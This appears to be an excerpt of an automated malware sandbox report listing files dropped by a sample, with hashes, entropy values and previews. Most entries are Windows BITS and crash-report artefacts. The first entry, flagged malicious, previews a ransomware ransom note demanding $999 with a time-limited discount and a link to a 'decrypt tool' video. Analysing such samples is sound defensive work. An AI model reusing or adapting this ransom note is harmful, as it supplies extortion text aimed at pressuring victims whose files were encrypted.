                                                                                                                                                                                                                                                              Entropy (8bit):4.807274519269529
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWmmFRqrs6314kA+GT/kF5M2/kJw3RJphfW:WZHfv0pfNAU5WmPs41rDGT0f/kiFW
                                                                                                                                                                                                                                                              MD5:7B441486AE6539262E6C489422B7BAB9
                                                                                                                                                                                                                                                              SHA1:77313FA3462410A8F362960FD4CF8D8368C0835E
                                                                                                                                                                                                                                                              SHA-256:6A8B46103F201735919E5C1E40519A16E714AC990FC309845A64DB79A063F4A6
                                                                                                                                                                                                                                                              SHA-512:06A0F36D5C233A77EAC4D5BA47A2CFD05101B8E391B995562EB8FB3F97B8487CE2182C345F5E395B029AE70556730912F39A29104F216863E7894CE925312602
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://we.tl/t-hPAqznkJKD..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $499...Please note that you'll never restore your data without

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.chk

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                                                                              Entropy (8bit):0.3588072191296206
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:6:6xkoaaD0JOCEfMuaaD0JOCEfMKQmDhxkoaaD0JOCEfMuaaD0JOCEfMKQmD:maaD0JcaaD0JwQQ3aaD0JcaaD0JwQQ
                                                                                                                                                                                                                                                              MD5:663C5D6018506231E334FB3EA962ED1C
                                                                                                                                                                                                                                                              SHA1:539A4641CE92E57E4ADEE32750A817326E596D4C
                                                                                                                                                                                                                                                              SHA-256:066CB701C03237D2612AA647E6BF08EF594360F96E433639B0CC9EED7335F1E1
                                                                                                                                                                                                                                                              SHA-512:5F910653FD1B12B94D314EDEDF6EB2BEC70D369D921EB5B7CF4D199B0374D6C798336E39DBF2781F3B0457280E0DDA63BDF4861DF31C08152544B0F1039D5FCD
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:*.>.................D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1310720
                                                                                                                                                                                                                                                              Entropy (8bit):0.8337369280972973
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugx:gJjJGtpTq2yv1AuNZRY3diu8iBVqFv
                                                                                                                                                                                                                                                              MD5:C41667645CFC5AC7D935373C78C6ACFE
                                                                                                                                                                                                                                                              SHA1:FCD768E2F83086DDA573DDBC5A06B7EB21607336
                                                                                                                                                                                                                                                              SHA-256:7CD070CB2F6525745CDE15FC61CA4AB268A0F2B475B62212FCDD2CC791E4383C
                                                                                                                                                                                                                                                              SHA-512:EAB124D2D2C8E7F817D39BC1134F24A90E7CB4696D6C6337BF961499DFD83940E2501605CE08F209929207213312474133F531C54CB0794CB8FBD56E745CE03D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:Extensible storage engine DataBase, version 0x620, checksum 0xd361e3a0, page size 16384, Windows version 10.0
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1310720
                                                                                                                                                                                                                                                              Entropy (8bit):0.6584870177725359
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:1536:pSB2ESB2SSjlK/AxrO1T1B0CZSJWYkr3g16n2UPkLk+kdbI/0uznv0M1Dn/didMV:paza6xhzA2U8HDnAPZ4PZf9h/9h
                                                                                                                                                                                                                                                              MD5:8EF90158C51894376F3657A69CA79592
                                                                                                                                                                                                                                                              SHA1:57353C2F222B1DD2EB29F202AF2B7EFC4479E21D
                                                                                                                                                                                                                                                              SHA-256:2934CC74CB2C4AED9746FB3830EF1B1A20294682BC189F90C1B5B507957C7D28
                                                                                                                                                                                                                                                              SHA-512:68E507E81266D20707E8559357FEE9E59CB8A4310E225DF4C412B144AD72EFFEA94CB665D6CBAA44C05783D13D27A8B14A0FE164FE2E3BAC87D6645083BDA8CD
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:.a.... ...............X\...;...{......................T.~..........|.......|..h.|..........|..T.~.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................~.\......|.................P@.......|...........................#......T.~.....................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):16384
                                                                                                                                                                                                                                                              Entropy (8bit):0.07968384099656821
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:3:7WlWetYeeGtaDVZhM/qxwGll58Kgvvl/QoeP/ll:2TzqZ31z8KgR+t
                                                                                                                                                                                                                                                              MD5:0CD35376D79E2D42D762FC13AC33BC61
                                                                                                                                                                                                                                                              SHA1:CF3D804CDC631983B792544B1F3510ADE8F7DFE4
                                                                                                                                                                                                                                                              SHA-256:38086A85BE5420556F4962946C7AF188DCE79F0DD94670264C724DFB992F69E5
                                                                                                                                                                                                                                                              SHA-512:3C72185B271D2CF851FEE90F6A88B031FF5B1DF9F004F68CF70BD1647BAF059B68BAD24DDFDB63C0B72800427793CC8ACC13F7387F4DC361263015B86643879F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:j........................................;...{.......|.......|...............|.......|...V/......|..................P@.......|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_84F5.exe_f48146b9687efa18e6dd7535f5d738371f9c53_5b0dc7d1_97cbc8f4-a0b0-4bea-a87d-0aa33d1242be\Report.wer

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):65536
                                                                                                                                                                                                                                                              Entropy (8bit):0.907582279361906
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:192:Kn9WbkZS0NVEH9juTLeIzuiFUZ24IO8Y:aYbkZZNVEH9jqeIzuiFUY4IO8Y
                                                                                                                                                                                                                                                              MD5:BC87BC7BA0F8482AD5E5EAE47807D914
                                                                                                                                                                                                                                                              SHA1:8A8303949C70917478F8CBE82B4FD4ACE25B79D7
                                                                                                                                                                                                                                                              SHA-256:95C31A54B8CB43FEE23D274547CEE1768AD5D5F342C1B809BDFAAF40EDF12151
                                                                                                                                                                                                                                                              SHA-512:8A7A3D41CF45441B082A3F2953E3F7895533C80B44A3AFCE98502DB509BA58E364B8A5BF7CD29F71F008D6D02BBA3B8FE4478B8EE48120A2439B8971758CBF9F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.1.8.9.3.4.8.6.8.2.0.7.0.9.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.1.8.9.3.4.8.7.7.8.9.4.7.2.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.7.c.b.c.8.f.4.-.a.0.b.0.-.4.b.e.a.-.a.8.7.d.-.0.a.a.3.3.d.1.2.4.2.b.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.b.4.6.0.1.1.b.-.3.e.3.2.-.4.d.6.c.-.a.0.2.f.-.2.6.2.9.6.8.9.d.c.5.f.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.8.4.F.5...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.C.h.i.l.k.a.t.U.t.i.l...d.l.l.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.2.c.-.0.0.0.1.-.0.0.1.4.-.f.8.c.6.-.8.2.8.5.c.3.5.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.2.0.a.b.5.5.e.a.e.e.7.8.7.8.a.c.7.a.6.d.b.8.c.3.7.8.1.9.8.9.2.0.0.0.0.0.9.0.4.!.0.0.0.0.0.f.0.0.5.9.c.d.a.9.6.0.9.c.4.6.1.0.5.c.f.0.2.2.f.6.0.9.c.4.0.7.f.3.7.1.8.e.

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_BDBB.exe_42eaac354d9d247b60d4a09a6980e7767a67be_538d384e_b4aabe94-71b6-4d36-adb6-be5a2f6ba881\Report.wer

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):65536
                                                                                                                                                                                                                                                              Entropy (8bit):0.7369507315984472
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:96:yxtFrC+oHsDa8oJ7JfmQXIDcQec6tycEfcw3e+HbHg/8BRTf3Oy1E/8Ih4dZAX/7:y7kHp0Q0lTju9zuiFUZ24IO8B
                                                                                                                                                                                                                                                              MD5:6C968AD5E9DF3EEAB94BBBF42099F88E
                                                                                                                                                                                                                                                              SHA1:C5582F1D8E3ACA317836397BE44AF47DF7F40D3B
                                                                                                                                                                                                                                                              SHA-256:4479FCEED783DABB9D0FB2BC537AAF222BFC17ECB0AB26C98CA1610E7CC8864B
                                                                                                                                                                                                                                                              SHA-512:0E04417763FD780DFC5999C86AC971EB985E26F3E26E3F9B0F311AF5D88BC41853504FCA661DC3DAE3902ACA9A51F1BDED4FBEB6FDF103B67441982544BB65F6
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.1.8.9.3.4.4.0.4.9.1.1.1.5.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.1.8.9.3.4.4.1.4.9.1.1.0.9.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.4.a.a.b.e.9.4.-.7.1.b.6.-.4.d.3.6.-.a.d.b.6.-.b.e.5.a.2.f.6.b.a.8.8.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.3.9.1.6.0.8.f.-.f.c.b.0.-.4.5.7.b.-.b.3.5.5.-.5.6.a.d.3.a.b.e.e.d.b.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.B.D.B.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.6.c.-.0.0.0.1.-.0.0.1.4.-.e.0.a.9.-.1.4.6.f.c.3.5.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.2.a.3.3.e.6.8.f.8.b.8.4.2.e.2.a.5.b.a.7.0.7.7.9.7.5.7.5.a.8.0.0.0.0.9.c.1.7.!.0.0.0.0.7.e.8.3.1.3.5.7.3.8.b.d.d.1.3.2.a.8.c.9.d.a.0.3.1.b.4.7.9.4.8.5.2.c.f.c.9.f.8.b.!.B.D.B.B...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.1.

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER2CB3.tmp.csv

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):80640
                                                                                                                                                                                                                                                              Entropy (8bit):3.0354363866822758
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:1536:LfjhU18GEcXzdGlVl2JnDcZTlX+j+t+a+j++7+0+Kht+y+P+T+h+q2GXiv:LfjhU18GEcXzdGlVl2JnDctlX+j+t+aY
                                                                                                                                                                                                                                                              MD5:172D40847658C3A1C462440D988D0735
                                                                                                                                                                                                                                                              SHA1:A30AE31C8799202B4B902BF3EEB84FF465D32D97
                                                                                                                                                                                                                                                              SHA-256:942D7C93FEF704D53662B72E1174EA3DD207FA7E9BE06E746D2EA462D86D176F
                                                                                                                                                                                                                                                              SHA-512:CD1F2789E3599AB6756513C24507776231FE1B62ED0FF8168C918DBA1AD57F26D7A54D1B66408309399CB17052EB23E263DB1557BF723BB89CB73DC17226312A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E89.tmp.txt

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):13340
                                                                                                                                                                                                                                                              Entropy (8bit):2.6869028376885464
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:96:TiZYW7hgdvs1QY3YlWVHmYEZw3tFijEWCewtnHlFzaQhEMgWyIDd3:2ZD7hKRQJNHvzaQhEMgWVDd3
                                                                                                                                                                                                                                                              MD5:816456BF4265808A4978B36FD76B8DDE
                                                                                                                                                                                                                                                              SHA1:C238F81347C00226882804408EBFC107748AB9C6
                                                                                                                                                                                                                                                              SHA-256:D1427F24BE4BBB5AB6398E090735DAD230995415809B1AD8BFE5DB3C92498D0F
                                                                                                                                                                                                                                                              SHA-512:0D65F4B35D4AD1D7DEC632C63779A8A189B0BA0D82163C51BF71941E241F0BBD7A020EEEE69A763A7ED4DBA848B40620673E198FE5449AB51F6C168C1907840E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER3531.tmp.csv

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):81006
                                                                                                                                                                                                                                                              Entropy (8bit):3.0349854402386667
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:1536:X1cbG+EGJYXzdGbVlBqBtcZ+lX+j+t+a+j++7+0+Kht+y+P+T+h+oNGori:X1cbG+EGJYXzdGbVlBqBtcQlX+j+t+ak
                                                                                                                                                                                                                                                              MD5:506155B3D4FB8171932A5DBA3FBDA700
                                                                                                                                                                                                                                                              SHA1:6D845A59E8CA394E3D759C97E87B566C477ADDF7
                                                                                                                                                                                                                                                              SHA-256:D9C93194FF94DDEA98B35BC06EB2B9A9B859E8AF9ABC527622E933AE16A07FA9
                                                                                                                                                                                                                                                              SHA-512:62A300A06281BBC5ECA486676BE016ACFDC6A80ED96E75D9A886C040B77F08D19F52D5E333C2649B8C853A15D9010E22870B54F4581CB090AE3754EBF9C74533
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER367A.tmp.txt

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):13340
                                                                                                                                                                                                                                                              Entropy (8bit):2.686536111319707
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:96:TiZYW7mzm38Y7Y4WaHmYEZvdGtFiMCECCew5068tuaGheMsnEILd3:2ZD7A8AAZLUuaGheMsnzLd3
                                                                                                                                                                                                                                                              MD5:1B2685260F20A038B411F05516232F53
                                                                                                                                                                                                                                                              SHA1:84B4C398079954082887DDC1CA5552EFB0EA3227
                                                                                                                                                                                                                                                              SHA-256:CDA12DD7B103C092C1A8AE1CC73B1688E333FB85E0B7FA7C1A6BF7DC50CA863C
                                                                                                                                                                                                                                                              SHA-512:872373A363B5E1FB6FA18B18A7B2E29BDDE6728E70FDA42318EF095C89015F2D515532C069E14A6B89823122FE3001A7005AD6345F327050D3DEDD6F9DB64EA2
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER791C.tmp.dmp

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              File Type:Mini DuMP crash report, 15 streams, Thu Feb 8 19:18:07 2024, 0x1205a4 type
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):111460
                                                                                                                                                                                                                                                              Entropy (8bit):2.0067802948077054
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:384:7NDRkDBTeKzq3x7FAnXtA15v4haZ4V1noV62G50rSFIFOuX:Z+DBqKuBiXtW54h633BFO2
                                                                                                                                                                                                                                                              MD5:8715380A07426DAF4278696C872CEC15
                                                                                                                                                                                                                                                              SHA1:A7FE8EE36AD6FCC6A265929BDB25255645338CCD
                                                                                                                                                                                                                                                              SHA-256:9951FA3A2AD75AF8335958A6D423A5DBEA9D74D126C9AB5AABCEB8889EA1DD5A
                                                                                                                                                                                                                                                              SHA-512:3FAA985C2C3105D665E465778CA43DE4205522E3211C48E1683765E13FC869BC00DB27507CB1176D135102B1D21F48C11717A4C99145ADD86D6BC9DB2E33F4ED
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:MDMP..a..... ........(.e........................(............... .......D....B..........`.......8...........T............:...x......................................................................................................eJ......(.......GenuineIntel............T.......,....(.e............................. ..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                              C:\ProgramData\Microsoft\Windows\WER\Temp\WER7AA4.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):8300
                                                                                                                                                                                                                                                              Entropy (8bit):3.6944336797494133
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:192:R6l7wVeJv5s6nPC6YEI7SU9sBxgmfuxnpr489bUb5sfe6jm:R6lXJxs6nPC6YEUSU9YxgmfuxvUbSfD6
                                                                                                                                                                                                                                                              MD5:C7B1FAEC9B8D5A00C1659394A5C1F559
                                                                                                                                                                                                                                                              SHA1:4458FB86DCF629921871CB0A7C0312D3E4899918
                                                                                                                                                                                                                                                              SHA-256:11C8419995CD10ADFD08B684A4A63824690C48925D368D6CB923456973F716B2
